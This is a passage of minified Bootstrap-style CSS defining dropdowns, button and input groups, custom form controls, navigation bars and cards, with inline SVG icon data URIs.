.dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:""}.dropleft .dropdown-toggle::after{display:none}.dropleft .dropdown-toggle::before{display:inline-block;margin-right:.255em;vertical-align:.255em;content:"";border-top:.3em solid transparent;border-right:.3em solid;border-bottom:.3em solid transparent}.dropleft .dropdown-toggle:empty::after{margin-left:0}.dropleft .dropdown-toggle::before{vertical-align:0}.dropdown-menu[x-placement^=bottom],.dropdown-menu[x-placement^=left],.dropdown-menu[x-placement^=right],.dropdown-menu[x-placement^=top]{right:auto;bottom:auto}.dropdown-divider{height:0;margin:.5rem 0;overflow:hidden;border-top:1px solid #e9ecef}.dropdown-item{display:block;width:100%;padding:.25rem 1.5rem;clear:both;font-weight:400;color:#212529;text-align:inherit;white-space:nowrap;background-color:transparent;border:0}.dropdown-item:focus,.dropdown-item:hover{color:#16181b;text-decoration:none;background-color:#e9ecef}.dropdown-item.active,.dropdown-item:active{color:#fff;text-decoration:none;background-color:#007bff}.dropdown-item.disabled,.dropdown-item:disabled{color:#adb5bd;pointer-events:none;background-color:transparent}.dropdown-menu.show{display:block}.dropdown-header{display:block;padding:.5rem 1.5rem;margin-bottom:0;font-size:.875rem;color:#6c757d;white-space:nowrap}.dropdown-item-text{display:block;padding:.25rem 1.5rem;color:#212529}.btn-group,.btn-group-vertical{position:relative;display:-ms-inline-flexbox;display:inline-flex;vertical-align:middle}.btn-group-vertical>.btn,.btn-group>.btn{position:relative;-ms-flex:1 1 auto;flex:1 1 auto}.btn-group-vertical>.btn:hover,.btn-group>.btn:hover{z-index:1}.btn-group-vertical>.btn.active,.btn-group-vertical>.btn:active,.btn-group-vertical>.btn:focus,.btn-group>.btn.active,.btn-group>.btn:active,.btn-group>.btn:focus{z-index:1}.btn-toolbar{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-pack:start;justify-content:flex-start}.btn-toolbar .input-group{width:auto}.btn-group>.btn-group:not(:first-child),.btn-group>.btn:not(:first-child){margin-left:-1px}.btn-group>.btn-group:not(:last-child)>.btn,.btn-group>.btn:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn-group:not(:first-child)>.btn,.btn-group>.btn:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.dropdown-toggle-split{padding-right:.5625rem;padding-left:.5625rem}.dropdown-toggle-split::after,.dropright .dropdown-toggle-split::after,.dropup .dropdown-toggle-split::after{margin-left:0}.dropleft .dropdown-toggle-split::before{margin-right:0}.btn-group-sm>.btn+.dropdown-toggle-split,.btn-sm+.dropdown-toggle-split{padding-right:.375rem;padding-left:.375rem}.btn-group-lg>.btn+.dropdown-toggle-split,.btn-lg+.dropdown-toggle-split{padding-right:.75rem;padding-left:.75rem}.btn-group-vertical{-ms-flex-direction:column;flex-direction:column;-ms-flex-align:start;align-items:flex-start;-ms-flex-pack:center;justify-content:center}.btn-group-vertical>.btn,.btn-group-vertical>.btn-group{width:100%}.btn-group-vertical>.btn-group:not(:first-child),.btn-group-vertical>.btn:not(:first-child){margin-top:-1px}.btn-group-vertical>.btn-group:not(:last-child)>.btn,.btn-group-vertical>.btn:not(:last-child):not(.dropdown-toggle){border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn-group:not(:first-child)>.btn,.btn-group-vertical>.btn:not(:first-child){border-top-left-radius:0;border-top-right-radius:0}.btn-group-toggle>.btn,.btn-group-toggle>.btn-group>.btn{margin-bottom:0}.btn-group-toggle>.btn input[type=checkbox],.btn-group-toggle>.btn input[type=radio],.btn-group-toggle>.btn-group>.btn input[type=checkbox],.btn-group-toggle>.btn-group>.btn input[type=radio]{position:absolute;clip:rect(0,0,0,0);pointer-events:none}.input-group{position:relative;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-align:stretch;align-items:stretch;width:100%}.input-group>.custom-file,.input-group>.custom-select,.input-group>.form-control,.input-group>.form-control-plaintext{position:relative;-ms-flex:1 1 auto;flex:1 1 auto;width:1%;min-width:0;margin-bottom:0}.input-group>.custom-file+.custom-file,.input-group>.custom-file+.custom-select,.input-group>.custom-file+.form-control,.input-group>.custom-select+.custom-file,.input-group>.custom-select+.custom-select,.input-group>.custom-select+.form-control,.input-group>.form-control+.custom-file,.input-group>.form-control+.custom-select,.input-group>.form-control+.form-control,.input-group>.form-control-plaintext+.custom-file,.input-group>.form-control-plaintext+.custom-select,.input-group>.form-control-plaintext+.form-control{margin-left:-1px}.input-group>.custom-file .custom-file-input:focus~.custom-file-label,.input-group>.custom-select:focus,.input-group>.form-control:focus{z-index:3}.input-group>.custom-file .custom-file-input:focus{z-index:4}.input-group>.custom-select:not(:first-child),.input-group>.form-control:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.input-group>.custom-file{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center}.input-group>.custom-file:not(:last-child) .custom-file-label,.input-group>.custom-file:not(:last-child) .custom-file-label::after{border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.custom-file:not(:first-child) .custom-file-label{border-top-left-radius:0;border-bottom-left-radius:0}.input-group:not(.has-validation)>.custom-file:not(:last-child) .custom-file-label,.input-group:not(.has-validation)>.custom-file:not(:last-child) .custom-file-label::after,.input-group:not(.has-validation)>.custom-select:not(:last-child),.input-group:not(.has-validation)>.form-control:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.input-group.has-validation>.custom-file:nth-last-child(n+3) .custom-file-label,.input-group.has-validation>.custom-file:nth-last-child(n+3) .custom-file-label::after,.input-group.has-validation>.custom-select:nth-last-child(n+3),.input-group.has-validation>.form-control:nth-last-child(n+3){border-top-right-radius:0;border-bottom-right-radius:0}.input-group-append,.input-group-prepend{display:-ms-flexbox;display:flex}.input-group-append .btn,.input-group-prepend .btn{position:relative;z-index:2}.input-group-append .btn:focus,.input-group-prepend .btn:focus{z-index:3}.input-group-append .btn+.btn,.input-group-append .btn+.input-group-text,.input-group-append .input-group-text+.btn,.input-group-append .input-group-text+.input-group-text,.input-group-prepend .btn+.btn,.input-group-prepend .btn+.input-group-text,.input-group-prepend .input-group-text+.btn,.input-group-prepend .input-group-text+.input-group-text{margin-left:-1px}.input-group-prepend{margin-right:-1px}.input-group-append{margin-left:-1px}.input-group-text{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;padding:.375rem .75rem;margin-bottom:0;font-size:1rem;font-weight:400;line-height:1.5;color:#495057;text-align:center;white-space:nowrap;background-color:#e9ecef;border:1px solid #ced4da;border-radius:.25rem}.input-group-text input[type=checkbox],.input-group-text input[type=radio]{margin-top:0}.input-group-lg>.custom-select,.input-group-lg>.form-control:not(textarea){height:calc(1.5em + 1rem + 2px)}.input-group-lg>.custom-select,.input-group-lg>.form-control,.input-group-lg>.input-group-append>.btn,.input-group-lg>.input-group-append>.input-group-text,.input-group-lg>.input-group-prepend>.btn,.input-group-lg>.input-group-prepend>.input-group-text{padding:.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:.3rem}.input-group-sm>.custom-select,.input-group-sm>.form-control:not(textarea){height:calc(1.5em + .5rem + 2px)}.input-group-sm>.custom-select,.input-group-sm>.form-control,.input-group-sm>.input-group-append>.btn,.input-group-sm>.input-group-append>.input-group-text,.input-group-sm>.input-group-prepend>.btn,.input-group-sm>.input-group-prepend>.input-group-text{padding:.25rem .5rem;font-size:.875rem;line-height:1.5;border-radius:.2rem}.input-group-lg>.custom-select,.input-group-sm>.custom-select{padding-right:1.75rem}.input-group.has-validation>.input-group-append:nth-last-child(n+3)>.btn,.input-group.has-validation>.input-group-append:nth-last-child(n+3)>.input-group-text,.input-group:not(.has-validation)>.input-group-append:not(:last-child)>.btn,.input-group:not(.has-validation)>.input-group-append:not(:last-child)>.input-group-text,.input-group>.input-group-append:last-child>.btn:not(:last-child):not(.dropdown-toggle),.input-group>.input-group-append:last-child>.input-group-text:not(:last-child),.input-group>.input-group-prepend>.btn,.input-group>.input-group-prepend>.input-group-text{border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.input-group-append>.btn,.input-group>.input-group-append>.input-group-text,.input-group>.input-group-prepend:first-child>.btn:not(:first-child),.input-group>.input-group-prepend:first-child>.input-group-text:not(:first-child),.input-group>.input-group-prepend:not(:first-child)>.btn,.input-group>.input-group-prepend:not(:first-child)>.input-group-text{border-top-left-radius:0;border-bottom-left-radius:0}.custom-control{position:relative;z-index:1;display:block;min-height:1.5rem;padding-left:1.5rem;-webkit-print-color-adjust:exact;color-adjust:exact}.custom-control-inline{display:-ms-inline-flexbox;display:inline-flex;margin-right:1rem}.custom-control-input{position:absolute;left:0;z-index:-1;width:1rem;height:1.25rem;opacity:0}.custom-control-input:checked~.custom-control-label::before{color:#fff;border-color:#007bff;background-color:#007bff}.custom-control-input:focus~.custom-control-label::before{box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.custom-control-input:focus:not(:checked)~.custom-control-label::before{border-color:#80bdff}.custom-control-input:not(:disabled):active~.custom-control-label::before{color:#fff;background-color:#b3d7ff;border-color:#b3d7ff}.custom-control-input:disabled~.custom-control-label,.custom-control-input[disabled]~.custom-control-label{color:#6c757d}.custom-control-input:disabled~.custom-control-label::before,.custom-control-input[disabled]~.custom-control-label::before{background-color:#e9ecef}.custom-control-label{position:relative;margin-bottom:0;vertical-align:top}.custom-control-label::before{position:absolute;top:.25rem;left:-1.5rem;display:block;width:1rem;height:1rem;pointer-events:none;content:"";background-color:#fff;border:#adb5bd solid 1px}.custom-control-label::after{position:absolute;top:.25rem;left:-1.5rem;display:block;width:1rem;height:1rem;content:"";background:50%/50% 50% no-repeat}.custom-checkbox .custom-control-label::before{border-radius:.25rem}.custom-checkbox .custom-control-input:checked~.custom-control-label::after{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='8' height='8' viewBox='0 0 8 8'%3e%3cpath fill='%23fff' d='M6.564.75l-3.59 3.612-1.538-1.55L0 4.26l2.974 2.99L8 2.193z'/%3e%3c/svg%3e")}.custom-checkbox .custom-control-input:indeterminate~.custom-control-label::before{border-color:#007bff;background-color:#007bff}.custom-checkbox .custom-control-input:indeterminate~.custom-control-label::after{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='4' height='4' viewBox='0 0 4 4'%3e%3cpath stroke='%23fff' d='M0 2h4'/%3e%3c/svg%3e")}.custom-checkbox .custom-control-input:disabled:checked~.custom-control-label::before{background-color:rgba(0,123,255,.5)}.custom-checkbox .custom-control-input:disabled:indeterminate~.custom-control-label::before{background-color:rgba(0,123,255,.5)}.custom-radio .custom-control-label::before{border-radius:50%}.custom-radio .custom-control-input:checked~.custom-control-label::after{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%23fff'/%3e%3c/svg%3e")}.custom-radio .custom-control-input:disabled:checked~.custom-control-label::before{background-color:rgba(0,123,255,.5)}.custom-switch{padding-left:2.25rem}.custom-switch .custom-control-label::before{left:-2.25rem;width:1.75rem;pointer-events:all;border-radius:.5rem}.custom-switch .custom-control-label::after{top:calc(.25rem + 2px);left:calc(-2.25rem + 2px);width:calc(1rem - 4px);height:calc(1rem - 4px);background-color:#adb5bd;border-radius:.5rem;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out,-webkit-transform .15s ease-in-out;transition:transform .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;transition:transform .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out,-webkit-transform .15s ease-in-out}@media (prefers-reduced-motion:reduce){.custom-switch .custom-control-label::after{transition:none}}.custom-switch .custom-control-input:checked~.custom-control-label::after{background-color:#fff;-webkit-transform:translateX(.75rem);transform:translateX(.75rem)}.custom-switch .custom-control-input:disabled:checked~.custom-control-label::before{background-color:rgba(0,123,255,.5)}.custom-select{display:inline-block;width:100%;height:calc(1.5em + .75rem + 2px);padding:.375rem 1.75rem .375rem .75rem;font-size:1rem;font-weight:400;line-height:1.5;color:#495057;vertical-align:middle;background:#fff url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='4' height='5' viewBox='0 0 4 5'%3e%3cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3e%3c/svg%3e") right .75rem center/8px 10px no-repeat;border:1px solid #ced4da;border-radius:.25rem;-webkit-appearance:none;-moz-appearance:none;appearance:none}.custom-select:focus{border-color:#80bdff;outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.custom-select:focus::-ms-value{color:#495057;background-color:#fff}.custom-select[multiple],.custom-select[size]:not([size="1"]){height:auto;padding-right:.75rem;background-image:none}.custom-select:disabled{color:#6c757d;background-color:#e9ecef}.custom-select::-ms-expand{display:none}.custom-select:-moz-focusring{color:transparent;text-shadow:0 0 0 #495057}.custom-select-sm{height:calc(1.5em + .5rem + 2px);padding-top:.25rem;padding-bottom:.25rem;padding-left:.5rem;font-size:.875rem}.custom-select-lg{height:calc(1.5em + 1rem + 2px);padding-top:.5rem;padding-bottom:.5rem;padding-left:1rem;font-size:1.25rem}.custom-file{position:relative;display:inline-block;width:100%;height:calc(1.5em + .75rem + 2px);margin-bottom:0}.custom-file-input{position:relative;z-index:2;width:100%;height:calc(1.5em + .75rem + 2px);margin:0;overflow:hidden;opacity:0}.custom-file-input:focus~.custom-file-label{border-color:#80bdff;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.custom-file-input:disabled~.custom-file-label,.custom-file-input[disabled]~.custom-file-label{background-color:#e9ecef}.custom-file-input:lang(en)~.custom-file-label::after{content:"Browse"}.custom-file-input~.custom-file-label[data-browse]::after{content:attr(data-browse)}.custom-file-label{position:absolute;top:0;right:0;left:0;z-index:1;height:calc(1.5em + .75rem + 2px);padding:.375rem .75rem;overflow:hidden;font-weight:400;line-height:1.5;color:#495057;background-color:#fff;border:1px solid #ced4da;border-radius:.25rem}.custom-file-label::after{position:absolute;top:0;right:0;bottom:0;z-index:3;display:block;height:calc(1.5em + .75rem);padding:.375rem .75rem;line-height:1.5;color:#495057;content:"Browse";background-color:#e9ecef;border-left:inherit;border-radius:0 .25rem .25rem 0}.custom-range{width:100%;height:1.4rem;padding:0;background-color:transparent;-webkit-appearance:none;-moz-appearance:none;appearance:none}.custom-range:focus{outline:0}.custom-range:focus::-webkit-slider-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .2rem rgba(0,123,255,.25)}.custom-range:focus::-moz-range-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .2rem rgba(0,123,255,.25)}.custom-range:focus::-ms-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .2rem rgba(0,123,255,.25)}.custom-range::-moz-focus-outer{border:0}.custom-range::-webkit-slider-thumb{width:1rem;height:1rem;margin-top:-.25rem;background-color:#007bff;border:0;border-radius:1rem;-webkit-transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;-webkit-appearance:none;appearance:none}@media (prefers-reduced-motion:reduce){.custom-range::-webkit-slider-thumb{-webkit-transition:none;transition:none}}.custom-range::-webkit-slider-thumb:active{background-color:#b3d7ff}.custom-range::-webkit-slider-runnable-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:#dee2e6;border-color:transparent;border-radius:1rem}.custom-range::-moz-range-thumb{width:1rem;height:1rem;background-color:#007bff;border:0;border-radius:1rem;-moz-transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;-moz-appearance:none;appearance:none}@media (prefers-reduced-motion:reduce){.custom-range::-moz-range-thumb{-moz-transition:none;transition:none}}.custom-range::-moz-range-thumb:active{background-color:#b3d7ff}.custom-range::-moz-range-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:#dee2e6;border-color:transparent;border-radius:1rem}.custom-range::-ms-thumb{width:1rem;height:1rem;margin-top:0;margin-right:.2rem;margin-left:.2rem;background-color:#007bff;border:0;border-radius:1rem;-ms-transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;appearance:none}@media (prefers-reduced-motion:reduce){.custom-range::-ms-thumb{-ms-transition:none;transition:none}}.custom-range::-ms-thumb:active{background-color:#b3d7ff}.custom-range::-ms-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:transparent;border-color:transparent;border-width:.5rem}.custom-range::-ms-fill-lower{background-color:#dee2e6;border-radius:1rem}.custom-range::-ms-fill-upper{margin-right:15px;background-color:#dee2e6;border-radius:1rem}.custom-range:disabled::-webkit-slider-thumb{background-color:#adb5bd}.custom-range:disabled::-webkit-slider-runnable-track{cursor:default}.custom-range:disabled::-moz-range-thumb{background-color:#adb5bd}.custom-range:disabled::-moz-range-track{cursor:default}.custom-range:disabled::-ms-thumb{background-color:#adb5bd}.custom-control-label::before,.custom-file-label,.custom-select{transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.custom-control-label::before,.custom-file-label,.custom-select{transition:none}}.nav{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.nav-link{display:block;padding:.5rem 1rem}.nav-link:focus,.nav-link:hover{text-decoration:none}.nav-link.disabled{color:#6c757d;pointer-events:none;cursor:default}.nav-tabs{border-bottom:1px solid #dee2e6}.nav-tabs .nav-link{margin-bottom:-1px;border:1px solid transparent;border-top-left-radius:.25rem;border-top-right-radius:.25rem}.nav-tabs .nav-link:focus,.nav-tabs .nav-link:hover{border-color:#e9ecef #e9ecef #dee2e6}.nav-tabs .nav-link.disabled{color:#6c757d;background-color:transparent;border-color:transparent}.nav-tabs .nav-item.show .nav-link,.nav-tabs .nav-link.active{color:#495057;background-color:#fff;border-color:#dee2e6 #dee2e6 #fff}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-left-radius:0;border-top-right-radius:0}.nav-pills .nav-link{border-radius:.25rem}.nav-pills .nav-link.active,.nav-pills .show>.nav-link{color:#fff;background-color:#007bff}.nav-fill .nav-item,.nav-fill>.nav-link{-ms-flex:1 1 auto;flex:1 1 auto;text-align:center}.nav-justified .nav-item,.nav-justified>.nav-link{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;text-align:center}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.navbar{position:relative;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-align:center;align-items:center;-ms-flex-pack:justify;justify-content:space-between;padding:.5rem 1rem}.navbar .container,.navbar .container-fluid,.navbar .container-lg,.navbar .container-md,.navbar .container-sm,.navbar .container-xl{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-align:center;align-items:center;-ms-flex-pack:justify;justify-content:space-between}.navbar-brand{display:inline-block;padding-top:.3125rem;padding-bottom:.3125rem;margin-right:1rem;font-size:1.25rem;line-height:inherit;white-space:nowrap}.navbar-brand:focus,.navbar-brand:hover{text-decoration:none}.navbar-nav{display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;padding-left:0;margin-bottom:0;list-style:none}.navbar-nav .nav-link{padding-right:0;padding-left:0}.navbar-nav .dropdown-menu{position:static;float:none}.navbar-text{display:inline-block;padding-top:.5rem;padding-bottom:.5rem}.navbar-collapse{-ms-flex-preferred-size:100%;flex-basis:100%;-ms-flex-positive:1;flex-grow:1;-ms-flex-align:center;align-items:center}.navbar-toggler{padding:.25rem .75rem;font-size:1.25rem;line-height:1;background-color:transparent;border:1px solid transparent;border-radius:.25rem}.navbar-toggler:focus,.navbar-toggler:hover{text-decoration:none}.navbar-toggler-icon{display:inline-block;width:1.5em;height:1.5em;vertical-align:middle;content:"";background:50%/100% 100% no-repeat}.navbar-nav-scroll{max-height:75vh;overflow-y:auto}@media (max-width:575.98px){.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid,.navbar-expand-sm>.container-lg,.navbar-expand-sm>.container-md,.navbar-expand-sm>.container-sm,.navbar-expand-sm>.container-xl{padding-right:0;padding-left:0}}@media (min-width:576px){.navbar-expand-sm{-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-sm .navbar-nav{-ms-flex-direction:row;flex-direction:row}.navbar-expand-sm .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-sm .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid,.navbar-expand-sm>.container-lg,.navbar-expand-sm>.container-md,.navbar-expand-sm>.container-sm,.navbar-expand-sm>.container-xl{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-sm .navbar-nav-scroll{overflow:visible}.navbar-expand-sm .navbar-collapse{display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-sm .navbar-toggler{display:none}}@media (max-width:767.98px){.navbar-expand-md>.container,.navbar-expand-md>.container-fluid,.navbar-expand-md>.container-lg,.navbar-expand-md>.container-md,.navbar-expand-md>.container-sm,.navbar-expand-md>.container-xl{padding-right:0;padding-left:0}}@media (min-width:768px){.navbar-expand-md{-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-md .navbar-nav{-ms-flex-direction:row;flex-direction:row}.navbar-expand-md .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-md .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-md>.container,.navbar-expand-md>.container-fluid,.navbar-expand-md>.container-lg,.navbar-expand-md>.container-md,.navbar-expand-md>.container-sm,.navbar-expand-md>.container-xl{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-md .navbar-nav-scroll{overflow:visible}.navbar-expand-md .navbar-collapse{display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-md .navbar-toggler{display:none}}@media (max-width:991.98px){.navbar-expand-lg>.container,.navbar-expand-lg>.container-fluid,.navbar-expand-lg>.container-lg,.navbar-expand-lg>.container-md,.navbar-expand-lg>.container-sm,.navbar-expand-lg>.container-xl{padding-right:0;padding-left:0}}@media (min-width:992px){.navbar-expand-lg{-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-lg .navbar-nav{-ms-flex-direction:row;flex-direction:row}.navbar-expand-lg .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-lg .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-lg>.container,.navbar-expand-lg>.container-fluid,.navbar-expand-lg>.container-lg,.navbar-expand-lg>.container-md,.navbar-expand-lg>.container-sm,.navbar-expand-lg>.container-xl{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-lg .navbar-nav-scroll{overflow:visible}.navbar-expand-lg .navbar-collapse{display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-lg .navbar-toggler{display:none}}@media (max-width:1199.98px){.navbar-expand-xl>.container,.navbar-expand-xl>.container-fluid,.navbar-expand-xl>.container-lg,.navbar-expand-xl>.container-md,.navbar-expand-xl>.container-sm,.navbar-expand-xl>.container-xl{padding-right:0;padding-left:0}}@media (min-width:1200px){.navbar-expand-xl{-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-xl .navbar-nav{-ms-flex-direction:row;flex-direction:row}.navbar-expand-xl .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-xl .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-xl>.container,.navbar-expand-xl>.container-fluid,.navbar-expand-xl>.container-lg,.navbar-expand-xl>.container-md,.navbar-expand-xl>.container-sm,.navbar-expand-xl>.container-xl{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-xl .navbar-nav-scroll{overflow:visible}.navbar-expand-xl .navbar-collapse{display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-xl .navbar-toggler{display:none}}.navbar-expand{-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand>.container,.navbar-expand>.container-fluid,.navbar-expand>.container-lg,.navbar-expand>.container-md,.navbar-expand>.container-sm,.navbar-expand>.container-xl{padding-right:0;padding-left:0}.navbar-expand .navbar-nav{-ms-flex-direction:row;flex-direction:row}.navbar-expand .navbar-nav .dropdown-menu{position:absolute}.navbar-expand .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand>.container,.navbar-expand>.container-fluid,.navbar-expand>.container-lg,.navbar-expand>.container-md,.navbar-expand>.container-sm,.navbar-expand>.container-xl{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand .navbar-nav-scroll{overflow:visible}.navbar-expand .navbar-collapse{display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand .navbar-toggler{display:none}.navbar-light .navbar-brand{color:rgba(0,0,0,.9)}.navbar-light .navbar-brand:focus,.navbar-light .navbar-brand:hover{color:rgba(0,0,0,.9)}.navbar-light .navbar-nav .nav-link{color:rgba(0,0,0,.5)}.navbar-light .navbar-nav .nav-link:focus,.navbar-light .navbar-nav .nav-link:hover{color:rgba(0,0,0,.7)}.navbar-light .navbar-nav .nav-link.disabled{color:rgba(0,0,0,.3)}.navbar-light .navbar-nav .active>.nav-link,.navbar-light .navbar-nav .nav-link.active,.navbar-light .navbar-nav .nav-link.show,.navbar-light .navbar-nav .show>.nav-link{color:rgba(0,0,0,.9)}.navbar-light .navbar-toggler{color:rgba(0,0,0,.5);border-color:rgba(0,0,0,.1)}.navbar-light .navbar-toggler-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='30' height='30' viewBox='0 0 30 30'%3e%3cpath stroke='rgba%280, 0, 0, 0.5%29' stroke-linecap='round' stroke-miterlimit='10' stroke-width='2' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e")}.navbar-light .navbar-text{color:rgba(0,0,0,.5)}.navbar-light .navbar-text a{color:rgba(0,0,0,.9)}.navbar-light .navbar-text a:focus,.navbar-light .navbar-text a:hover{color:rgba(0,0,0,.9)}.navbar-dark .navbar-brand{color:#fff}.navbar-dark .navbar-brand:focus,.navbar-dark .navbar-brand:hover{color:#fff}.navbar-dark .navbar-nav .nav-link{color:rgba(255,255,255,.5)}.navbar-dark .navbar-nav .nav-link:focus,.navbar-dark .navbar-nav .nav-link:hover{color:rgba(255,255,255,.75)}.navbar-dark .navbar-nav .nav-link.disabled{color:rgba(255,255,255,.25)}.navbar-dark .navbar-nav .active>.nav-link,.navbar-dark .navbar-nav .nav-link.active,.navbar-dark .navbar-nav .nav-link.show,.navbar-dark .navbar-nav .show>.nav-link{color:#fff}.navbar-dark .navbar-toggler{color:rgba(255,255,255,.5);border-color:rgba(255,255,255,.1)}.navbar-dark .navbar-toggler-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='30' height='30' viewBox='0 0 30 30'%3e%3cpath stroke='rgba%28255, 255, 255, 0.5%29' stroke-linecap='round' stroke-miterlimit='10' stroke-width='2' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e")}.navbar-dark .navbar-text{color:rgba(255,255,255,.5)}.navbar-dark .navbar-text a{color:#fff}.navbar-dark .navbar-text a:focus,.navbar-dark .navbar-text a:hover{color:#fff}.card{position:relative;display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;min-width:0;word-wrap:break-word;background-color:#fff;background-clip:border-box;border:1px solid rgba(0,0,0,.125);border-radius:.25rem}.card>hr{margin-right:0;margin-left:0}.card>.list-group{border-top:inherit;border-bottom:inherit}.card>.list-group:first-child{border-top-width:0;border-top-left-radius:calc(.25rem - 1px);border-top-right-radius:calc(.25rem - 1px)}.card>.list-group:last-child{border-bottom-width:0;border-bottom-right-radius:calc(.25rem - 1px);border-bottom-left-radius:calc(.25rem - 1px)}.card>.card-header+.list-group,.card>.list-group+.card-footer{border-top:0}.card-body{-ms-flex:1 1 auto;flex:1 1 auto;min-height:1px;padding:1.25rem}.card-title{margin-bottom:.75rem}.card-subtitle{margin-top:-.375rem;margin-bottom:0}.card-text:last-child{margin-bottom:0}.card-link:hover{text-decoration:none}.card-link+.card-link{margin-left:1.25rem}.card-header{padding:.75rem 1.25rem;margin-bottom:0;background-color:rgba(0,0,0,.03);border-bottom:1px solid rgba(0,0,0,.125)}.card-header:first-child{border-radius:calc(.25rem - 1px) calc(.25rem - 1px) 0 0}.card-footer{padding:.75rem 1.25rem;background-color:rgba(0,0,0,.03);border-top:1px solid rgba(0,0,0,.125)}.card-footer:last-child{border-radius:0 0 calc(.25rem - 1px) calc(.25rem - 